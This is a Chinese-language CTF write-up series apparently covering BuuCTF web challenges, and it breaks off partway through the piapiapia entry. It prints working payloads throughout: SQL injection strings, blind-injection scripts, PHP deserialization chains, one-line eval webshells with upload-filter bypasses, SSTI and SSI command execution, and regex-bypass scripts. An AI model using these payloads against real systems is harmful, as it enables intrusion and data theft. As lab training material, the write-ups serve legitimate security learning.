BuuCTF-WP(持续更新ing~)

前言:2023年的暑假,决定要成为CTF的Web高手,于是尝试猛刷BuuCTF上的题目,目标是AK掉BuuCTF上的Web题。由于BuuCTF上的题目较多,所以只挑部分题目写wp(狠狠地偷懒。

[MRCTF 2020] Ez_bypass

打开靶机可以直接看到源码。可知要分别通过get方式获取id和gg的值并比较它们的md5值是否相等,然后再通过post方式得到非数字的passwd值并与’1234567’比较判断是否相等。首先由于php是弱类型比较,所以id和gg的问题可以通过md5碰撞来完成,不过也可以利用php的比较不能处理数组的特性来直接绕过 即:

?id[]=111&gg[]=222

可以看到第一步已经完成了,接下来是解决passwd的问题。既要满足passwd=1234567,又要让passwd不是数字,那就在1234567后面补一个字符就好了。即:passwd=1234567a

由于php是弱类型比较,所以此时passwd==1234567成立

拿到flag

[网鼎杯 2020] 青龙组 AreUSerialz 1

打开图片就可以看出是一道反序列化题目。去掉不需要看的_construct和write函数,只看其余的函数以及主函数可以知道当op=2时会调用read函数来读取file_name文件的内容,那么让file_name=’flag.php’即可。所以构造出poc:

<?php

include("flag.php");

class FileHandler {

    public $op;
    public $filename;
    public $content;

}
$a=new FileHandler;
$a->op=2;
$a->filename='flag.php';
$a->content='';
$b=serialize($a);
echo $b;
?>

运行后得到需要的payload:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";} 

由主函数可以知道变量str是可控的,所以最终payload拼接好后是:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";} 

查看源码得到flag

[极客大挑战 2019] PHP

打开靶机就提示了要找网站的备份文件,直接用dirsearch扫一下

发现敏感文件www.zip

下载并解压后得到几个文件,其中flag.php直接打开看不到什么东西

从index.php中可以看到上面这串代码,表示通过GET方式得到select的值并将其反序列化。说明可以通过传入序列化后的代码作为select的值,让程序将select反序列化后将会执行我们传入的代码,从而实现任意代码执行(反序列化漏洞)

接着看class.php,由代码可知需要利用construct函数分别给变量usernamepassword赋值为admin100,同时要防止调用wakeup函数导致username被重新赋值成guest。于是构造出poc:

<?php

class Name{
    private $username = 'admin';
    private $password = '100';
    }

    $a=new Name();
    echo serialize($a);
?>

运行程序得到序列化后的结果:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

由于需要绕过wakeup函数,所以利用wakeup函数的一个漏洞:当序列化后的字符中标明属性数量的值实际属性数量不一致时会导致不触发wakeup函数,所以此处将”Name”后面的2改为其它值(此处改为3)即可绕过wakeup函数。同时由于序列化后会把原本用于表示变量的private属性的%00字符屏蔽掉,所以要在序列化结果中的变量前补上,于是原先的序列化结果改为:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

已知可控变量是select,所以最终的exp是:

?select= O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";} 

[极客大挑战 2019] BuyFlag

打开靶机后通过MENU菜单访问到pay.php界面,可以看到想要得到flag首先需要自己的身份是CUIT的学生,然后需要正确的密码,同时需要100000000MONEY来购买flag。一步步来

查看页面源码可以看到一段注释内容,提示通过POST方式得到password的值,且要让password非数字同时等于404,由于php是弱比较类型,所以让password为404a即可满足以上两个要求

使用Burpsuit工具抓包可以看到请求包中的cookie值为user=0。可以想到令user=1即可表示自己身份为CUIT的student。最后不要忘了给MONEY赋值为100000000

Burpsuit抓包后改包为以上值后发送请求包

页面变化,提示身份、密码都对了,但MONEY值太长了。于是将100000000改用科学计数法表示为1e9

重新发送请求包,成功buy到flag

[极客大挑战 2019] –SQL注入系列

[EasySQL]

打开靶机看见登录界面,直接尝试用order by [数字]#来查看能注入的列。数字为1-3的时候说用户名和密码错误,数字为4时页面报错,说明列数为3。(ps. ‘#’字符要用对应的url编码%23来表示,不然会报错。一些常见url编码:‘’——%27;空格——%20;‘ # ’——%23

?username=1&password=1%27order%20by%203%23
?username=1&password=1%27order%20by%204%23

知道为三列后,用union联合查询语句来查看列内容(union select 1,2,3#)即可得到flag

?username=1&password=1%27union%20select%201,2,3%23

[LoveSQL]

这道题一开始解题步骤和上面一样,不过使用union select 1,2,3#时出现不同结果

从图片可知2、3列存在注入点。于是继续用联合查询语句进行注入,先从第2列开始查询

?username=1&password=1'union select 1,group_concat(schename_name),3 from information_schema.schemata %23

发现存在字符重叠,于是换第3列进行查询

?username=1&password=1'union select 1,2,group_concat(schema_name) from information_schema.schemata %23

查到几个数据库名,逐一查询可知flag是在geek数据库中,此处便只以geek的查询作实例。现在尝试查询geek数据库中的表名

?union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23

提示了password是其中的内容,逐一尝试可知是在l0ve1sq1中(由题目名字也可以猜到),使用尝试从中查询password

?union select 1,2,group_concat(password) from geek.l0ve1sq1 %23

找到flag

[BabySQL]

进入题目可以看见提示有过滤,经过测试可以发现存在对or、by、union、select、from、where字符的过滤,于是用双写来绕过(例:or写成oorr;union写成ununionion)

?oorrder bbyy 4%23
//查询列数
?ununionion seselectlect 1,2,3%23
//查询可注入的列
?ununionion seselectlect 1,2,group_concat(schema_name) frofromm infoorrmation_schema.schemata%23
//查询库名
得到库名,其中,逐一尝试可知geek是我们要查的库
?ununionion seselectlect 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_name=geek%23
//查询表名
得到表名

由题目BabySQL可以猜到要查b4bsql表

?ununionion seselectlect 1,2,group_concat(column_name) from information_schema.columns whewherere table_name='b4bsql'%23
//查询b4bsql表中的列

得到列名后,查询其中的password列得到flag

?ununionion seselectlect 1,2,group_concat(passwoorrd) frofromm geek.b4bsql%23

[HardSQL]

尝试找注入点,发现union联合查询被ban了,于是尝试用updatexml语句来进行注入

?username=1&password=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23
//查询库名
得到库名
?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23
//查询表名
得到表名
?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23
//查询列名
得到列名
?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23
//查询password列的内容

发现字符串过长,部分没显示,于是用right函数进行从右向左查询,得到剩余字符

?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)),0x7e),1))%23
//从右向左查询20个字符

得到剩余的字符后,将两个结果拼接起来即为完整的flag

[GYCTF 2019] Blacklist

用order by 2;#和order by 3;#后判断列数为2,于是尝试用联合注入查询,但发现大部分查询语句被ban了。

尝试用堆叠注入 1′;show tables;# //查询数据库名

大部分查询语句被ban了,于是用handler语句进行查询

1';handler FlagHere open;handler FlagHere read first;#

[CISCN2019] Hack World

尝试多种注入方法,都被ban了,输入1’发现回显bool(),推测是bool盲注,于是写脚本:

import requests

#地址
url = "http://c4a12af1-1130-4825-a153-a480c9bea112.node4.buuoj.cn:81/index.php"

result = ""
num = 0
for i in range(1,60):
    if num == 1:
        break

    for j in range(32,128):
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i,j)
        print(str((i - 1) * 96 + j - 32) + ":~" + payload + "~")

        data = {
            "id": payload,
        }
        
        r = requests.post(url, data=data)

        r.encoding = r.apparent_encoding

        if "Hello" in r.text:
            x = chr(j)
            result += str(x)
            print(result)
            break

        if "}" in result:
            print(result)
            num = 1
            break

传马系列

[极客大挑战 2019] Knife

题目提示了一段源码“eval($_POST[“Syc”]);”,这是个很典型的一句话木马。eval表示执行括号里的内容(类似的还有exec以及用于执行系统命令的system),而$_POST[“Syc”]表示通过POST的方式得到变量Syc的值(也可以是$_GET,即通过get方式得到变量的值),所以这句代码的意思是:执行(eval)变量Syc的值,其中Syc的值通过POST方式得到。

所以只要通过POST方式把想要执行的命令作为Syc的值传入,即可实现任意命令执行。

有两个思路:1.直接用brupsuit或hackbar抓包后改为POST请求包并在包中加入Syc=[要执行的命令](比如ls、ls /、cat flag.php、cat /flag.php)2.用中国菜刀或者蚁剑等木马工具连接变量Syc,如图:

连接成功后可以通过蚁剑来直接访问靶机的文件、服务器内部,也可以通过蚁剑进入终端寻找flag

[ACTF2020 新生赛] Upload

从这道题开始了解传马题的基本解题思路。传马题的一个明显特征是文件上传功能,当页面有明显的“文件上传”或题目标题带upload、上传等字眼时,往往意味着需要通过上传木马文件来获取shell(可以先把shell理解成上一道题提到的可控变量Syc),通过shell,我们可以执行任意命令,所以拿到shell往往意味着我们掌控了服务器(当然,拿到的shell有可能没有较高的权限——我们的目标是拿到ROOT或是与ROOT有同等权限的shell——这就需要学习提升权限(提权)的方法了)。

所以对于传马题,我们的思路就是想办法绕过可能存在的过滤来传入带有可控变量的木马文件并让它能够被解析、执行。

最基础的php一句话木马:

<?php
@eval($_POST["shell"]);//POST也可以为GET
?>

保存为.php后缀文件后,即是一个最基础的php木马了。接下来开始看题目。

直接尝试上传木马文件attack.php发现有提示只能上传后缀为jpg、png、gif的文件,说明这个上传系统有对上传的文件的后缀进行检测并只允许处于白名单中的文件通过(jpg、png、gif)。但要注意,这个提示是以弹窗出现的,很可能意味着这只是个前端的检测、过滤,所以通过把文件后缀改为.jpg即可通过检测。但是.jpg、.png等后缀文件无法被作为php文件执行(意味着我们写的一句话木马起不了作用)。

我们可以把木马文件后缀改为.jpg,然后在确认上传时通过brupsuit来抓包(在抓到包之前,浏览器前端已经对文件后缀做了检测,后缀为.jpg,允许上传),并将包中的attack.jpg改为attack.php或attack.phtml(.phtml、.php3、.php5等后缀文件也可通过蚁剑连接),即可让attack.php被成功上传进服务器。

可以看到提示Upload Success!并且显示出了文件上传到的地址,接下来便用蚁剑来连接该文件即可。(url地址填木马所在地址,连接密码即为文件里写好的可控变量)

[MRCTF 2020] 你传你?呢

遇到上传,直接尝试传马

有检测,而且很可能是后端的,意味着不能像上一道题那样通过brupsuit改包来绕过。

尝试上传.jpg文件,允许上传。

随便访问一个不存在的url,得到回显,得知服务器用的是Apache/2.4.10。在低于2.3.8版本的Apache配置文件中有个AllowOverride指令默认为All,即允许.htaccess文件中的一些指令可以覆盖主配置文件中的一些设置。(.htaccess文件是Apache分布式配置文件的默认名称)但在更高的版本里,AllowOverride默认为None,.htaccess文件会失效。这道题的靶机配置里,AllowOverride为All。

经过尝试可知.htaccess文件可以被成功上传(这道题是以黑名单来过滤,即php、php3、php5、phtml等后缀不被允许,而其它的后缀不受影响)所以我们的思路是:通过上传.htaccess文件,来让其它后缀文件也可以被作为php文件解析、执行。下面是一个.htaccess文件的实例:

<FilesMatch "jpg"> //匹配到jpg后缀时(jpg也可以换成其它后缀:.png/.gif
SetHandler application/x-httpd-php //调用x-httpd-php来解析该文件
</FilesMatch>

上传时注意服务器会对请求包中的Content-Type(文件类型)做检测过滤,.htaccess默认的Content-Type类型为application/octet-stream,不被允许,所以要改为image/jpeg(jpg的文件类型)。

可见.htaccess已被成功上传,接下来上传一个.jpg后缀的木马文件

此时由于.htaccess的配置覆盖,不管是直接访问该文件还是通过蚁剑连接该文件,它都会被作为php文件解析。所以蚁剑连接的url地址即为[域名]/upload/020…d99/attack.jpg,连上后即可在服务器找到flag

[SUCTF 2019] Check In

多次尝试可以知道服务器会对文件名、文件内容都做检测。其中,文件内容被匹配发现为脚本文件时就不被允许上传。这里可以在文件前加上GIF89a文件头来让服务器认为这是个gif文件。同时由于<?php会被检测,所以普通的一句话php木马不能上传,于是换用javascript的写法

GIF89a
<script language='php'>@eval($_POST['shell']);</script>

文件上传成功,接下来就是想办法让它被作为脚本文件解析

此时用到的知识点是.user.ini文件。创建一个名为.user.ini的文件并添加一个auto_prepend_file配置(作用为指定一个文件在主文件被解析前先被解析)或者auto_append_file配置(作用为指定一个文件在主文件被解析后被解析)。通过这个配置,可以使用户访问index.php(网站默认主页)后把指定文件一起作为脚本文件进行解析。所以构造一个.user.ini文件:

GIF89a
auto_prepend_file=shell.jpg

上传后,用蚁剑直接连index.php即可连上服务器

[BUUCTF 2018]Online Tool

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

这段代码实现用户输入ip地址,执行nmap命令

escapeshellarg的作用是把字符串转码为可以在 shell 命令里使用的参数,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ’ 和 ” 仅在不配对儿的时候被转义。

两个函数按arg、cmd的顺序放在一起会出现绕过漏洞,通过添加单引号实现绕过

//payload:
?host=' <?php @eval($_POST["shell"]);?>  -oG shell.php '

连接一句话木马时根据提示添加沙箱路径即可,例如.cn:81/89dusd78219esa/shell.php

[安洵杯 2019] easy_web

image-20250209212327591

留意到img值为Base64,转码几次后知道编码过程是一次ASCII Hex、两次Base64

image-20250209212420653

将index.php进行编码得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3作为img的值传入

得到Base64编码值,解密后得到index.php源码:

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

审计源码知需要MD5碰撞,此处利用payload:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

同时构造POST包和cmd命令:cmd=ca\t%20/f\l\a\g

得到flag

[BJDCTF 2020] Cookie is so stable

进入flag.php文件看见输入框,感觉是SSTI,输入{{5*5}}得到回显是25,说明存在SSTI模板注入

image-20250216234545493

接下来要判断是什么模板引擎

image-20250216234631876

由插件判断是PHP语言,对应的常见模板引擎是smarty、twig、Blade,逐一测试

此处附上各语言常见的模板引擎:

  • Python:jinja2、mako、tornado、django
  • PHP:smarty、twig、Blade
  • Java:jade、velocity、jsp

直接输入注入语句会被过滤,通过hint提示可知注入点是在cookie处,多次测试后可知是twig模板引擎

[MRCTF 2020] Ezpop

题目源码:

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
​
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
​
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
​
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
​
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
​
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
?>

pop链:include->append->invoke->get->toString->construct

Payload:

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
​
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
$a=new Show();
$file='index.php';
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo url(serialize($a));
?>
image-20250222001448320

[BJDCTF 2020] The mystery of ip

image-20250222210102821

点进flag.php,打印了我的内网ip,于是尝试添加X-Forwarded-For: 127.0.0.1

image-20250222210306442

回显证明可控,尝试测试注入;判断无sql注入,尝试ssti注入语句{5*5},得到回显为25,证明存在模板,而php模板引擎常见有smarty、twig、Blade,这里通过{config}得到模板版本类型为smarty

image-20250222210752645

没有过滤,于是直接构造payload:{system(‘cat /flag.php’)}读取flag

image-20250222210856786

[WesternCTF 2018] shrine

进容器后得到源码,整理得到:

import flask
import os
app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG') 

@app.route('/') 
def index(): 
	return open(__file__).read() 

@app.route('/shrine/') 
def shrine(shrine): 
	def safe_jinja(s): 
		s = s.replace('(', '').replace(')', '') 
		blacklist = ['config', 'self'] 
		return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 
	return flask.render_template_string(safe_jinja(shrine)) 
if __name__ == '__main__': 
	app.run(debug=True)

可以看到有一个/shrine/路由,里面有flask模板,过滤了括号和config,所以要通过jinjia2模板注入绕过过滤,访问其他内置对象来获取config:通过访问current_app(应用实例代表对象)直接获取config中的flag

//构造payload:
/shrine/{{url_for.__globals__.current_app.config.FLAG}}
屏幕截图 2025-02-24 205603

[安洵杯 2019] easy_serialize_php

读源码

<?php

$function = @$_GET['f'];

function filter($img){
  $filter_arr = array('php','flag','php5','php4','fl1g');
  $filter = '/'.implode('|',$filter_arr).'/i';
  return preg_replace($filter,'',$img);
}


if($_SESSION){
  unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
  echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
  $_SESSION['img'] = base64_encode('guest_img.png');
}else{
  $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
  highlight_file('index.php');
}else if($function == 'phpinfo'){
  eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
  $userinfo = unserialize($serialize_info);
  echo file_get_contents(base64_decode($userinfo['img']));

可知可用上extract函数实现键名逃逸;首先读取phpinfo找提示

image-20250225145935367

找到可能的flag文件

接着尝试利用filter过滤和extract覆盖实现键名逃逸读取文件

//构造Payload:
_SESSION[flagphp]=;S:1:"1";S:3:"img";S:20:"ZDBnM19mMWFnLnBocA==";}
image-20250225150333874

接着读/d0g3_fllllllag

_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
image-20250225150433855

[NPUCTF 2020] ReadlezPHP

查看源码,找到文件time.php

image-20250301213434135

进去可知考点是php反序列化,源码如下:

<?php
#error_reporting(0);
class HelloPhp
{
  public $a;
  public $b;
  public function __construct(){
      $this->a = "Y-m-d h:i:s";
      $this->b = "date";
  }
  public function __destruct(){
      $a = $this->a;
      $b = $this->b;
      echo $b($a);
  }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
  highlight_file(__FILE__);
  die(0);
}

@$ppp = unserialize($_GET["data"]);

构造payload:

<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
  $this->a = "phpinfo()";
  $this->b = "assert";
}
public function __destruct(){
  $a = $this->a;
  $b = $this->b;
  echo $b($a);
}
}
$c = new HelloPhp;

echo(serialize($c));

尝试其他命令都不行,好像只能执行assert(phpinfo()),尝试assert(system(‘whoami’))但回显只有时间没有所要的结果,怀疑输出被过滤;尝试反弹shell但是bash被ban了

//最终exp:
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

最终在phpinfo中找到flag

image-20250301215316389

[De1CTF 2019] SSRF Me

将题目所给源码整理好:

#!/usr/bin/env python
# encoding=utf-8
from flask import Flask, request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
secret_key = os.urandom(16) # 修正变量名拼写错误

class Task:
  def __init__(self, action, param, sign, ip):
      self.action = action
      self.param = param
      self.sign = sign
      self.sandbox = md5(ip)
      if not os.path.exists(self.sandbox):
          os.mkdir(self.sandbox)

  def Exec(self):
      result = {'code': 500}
      if self.checkSign():
          if "scan" in self.action:
              # 执行扫描操作
              with open("./%s/result.txt" % self.sandbox, 'w') as tmpfile:
                  resp = scan(self.param)
                  tmpfile.write(resp if resp != "Connection Timeout" else "")
              result['code'] = 200
          if "read" in self.action:
              # 读取扫描结果
              with open("./%s/result.txt" % self.sandbox, 'r') as f:
                  result['code'] = 200
                  result['data'] = f.read()
          if result['code'] == 500:
              result['data'] = "Action Error"
      else:
          result['msg'] = "Sign Error"
      return result

  def checkSign(self):
      return getSign(self.action, self.param) == self.sign

@app.route("/geneSign")
def geneSign():
  param = urllib.unquote(request.args.get("param", ""))
  return getSign("scan", param) # 固定 action 为 "scan"

@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
  action = urllib.unquote(request.cookies.get("action"))
  param = urllib.unquote(request.args.get("param", ""))
  sign = urllib.unquote(request.cookies.get("sign"))
  ip = request.remote_addr

  if waf(param):
      return "No Hacker!!!!"
   
  task = Task(action, param, sign, ip)
  return json.dumps(task.Exec())

@app.route('/')
def index():
  return open("code.txt", "r").read()

def scan(param):
  socket.setdefaulttimeout(1)
  try:
      return urllib.urlopen(param).read()[:50]
  except:
      return "Connection Timeout"

def getSign(action, param):
  return hashlib.md5(secret_key + param + action).hexdigest()

def md5(content):
  return hashlib.md5(content).hexdigest()

def waf(param):
  check = param.strip().lower()
  return check.startswith(("gopher", "file"))

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=80, debug=False)

geneSign路由通过getSign函数拼接secret_key+param+action并md5加密,而在De1ta路由中会调用Task对传入的action、sign进行处理

因此思路是通过geneSign路由传入param的值为flag.txtread(后面加个read伪装成action)

image-20250305155247173

然后将action和sign通过De1ta路由传入

image-20250305155459931

[BJDCTF 2020] EasySearch

dirsearch扫出源码文件:

<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
  header("Content-Type: text/html;charset=utf-8");
***
  if(isset($_POST['username']) and $_POST['username'] != '' )
  {
      $admin = '6d0bc1';
      if ( $admin == substr(md5($_POST['password']),0,6)) {
          echo "<script>alert('[+] Welcome to manage system')</script>";
          $file_shtml = "public/".get_hash().".shtml";
          $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
          $text = '
          ***
          ***
          <h1>Hello,'.$_POST['username'].'</h1>
          ***
***';
          fwrite($shtml,$text);
          fclose($shtml);
          ***
echo "[!] Header error ...";
      } else {
          echo "<script>alert('[!] Failed')</script>";
           
  }else
  {
***
  }
***
?>

得知要让密码的md5值的前6位等于6d0bc1,写一个python脚本跑出所需要的密码:

import hashlib

for i in range(100000000):
  md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
  if md5[0:6] == '6d0bc1':
      print(str(i)+':'+md5)
image-20250305171006715

选一个用即可,此处用2020666(出题人本意应该就是这个密码)

由源码可以知道之后会得到一个url,所以用BP抓一下返回包

image-20250305171229116

访问该地址

image-20250305171322648

打印出了前面传入的用户名,由于url访问的文件是shtml,所以联想到是Apache SSI命令执行漏洞

//构造POC:
username=<!--#exec cmd="whoami"-->&password=2020666
image-20250305171759539

访问新的url,返回www-data,说明SSI漏洞存在,开始找flag,直接ls当前目录找不到,返回上一级目录能找到flag文件(想尝试直接写马,文件是创建了,但文件内容没成功写进去,不知道是不是有过滤,也可能是没权限写入)

image-20250305172727464

cat ../flag_XXXXX读取flag

image-20250305172841583

[WUSTCTF 2020] 颜值成绩查询

进题目看到成绩查询,测试发现可以用^异或

image-20250308151922616

尝试异或注入可行,根据回显知是盲注,于是构造脚本:

import requests
url = "http://[URL]/?stunum="
database = ""

#爆数据库
payload1="1^(ascii(substr((select(database())),{},1))>{})^1"
#爆表——已知数据库名为ctf
payload2="1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"
#爆字段名——已知表名是flag
payload3 ="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1"
#爆值——flag存于ctf数据库、flag表、value字段中
payload4 = "1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1"

for i in range(1,10000):
  low = 32
  high = 128
  mid = (low+high) // 2
  while(low < high):
      payload = payload1.format(i,mid)   #爆数据库
      #payload = payload2.format(i,mid)   #爆表名
      #payload = payload3.format(i,mid)   #爆字段名
      #payload = payload4.format(i,mid)   #爆值
      new_url = url + payload
      response = requests.get(new_url)
      if "Hi admin, your score is: 100" in response.text:
          low = mid + 1
      else:
          high = mid
      mid = (low + high) // 2
  if (mid == 32 or mid == 128):
      break
  database += chr(mid)
  print(database)
print(database)

最后可知flag存于ctf数据库、flag表、value字段中

[FBCTF 2019] RCEService

读题目源码:

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
 
if (!is_string($json)) {
  echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
  echo 'Hacking attempt detected<br/><br/>';
} else {
  echo 'Attempting to run command:<br/>';
  $cmd = json_decode($json, true)['cmd'];
  if ($cmd !== NULL) {
    system($cmd);
  } else {
    echo 'Invalid input';
  }
  echo '<br/><br/>';
}
}
?>

尝试直接传入{“cmd”:”ls”}可以得到执行结果

image-20250308215157753

由源码知道存在正则表达式过滤且POST也可以传json进去,所以尝试构造脚本利用PCRE回溯机制绕过正则表达式:

import requests

url = "http://a7c80bfb-9763-4b66-bae4-baa82bfa4ffe.node5.buuoj.cn:81/"
payload = '{"cmd":"[命令]","abc":"'+'a'*1000000+'"}'

res = requests.post(url,data={"cmd":payload})
print(res.text)

此时尝试直接以{“cmd”:”cat index.php”}输入命令是没用的,因为在源码中使用了putenv函数改变了当前的环境变量,所以需要使用命令的绝对路径来执行命令,例如构造{“cmd”:”/bin/cat index.php”}

image-20250308215906519

在根目录和当前目录都没有找到flag文件,尝试在源码给的环境变量”PATH=/home/rceservice/jail”中来找,最后在/home/rceservice中找到flag,使用/bin/cat来读取flag

image-20250308220227790

[0CTF 2016] piapiapia

dirsearch扫除源码文件www.zip,下载后进行审计

登录、注册没什么问题,主要是update.php、class.php和profile.php

//profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));//思路:传入config.php作为photo,任意读取文件
?>
//update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
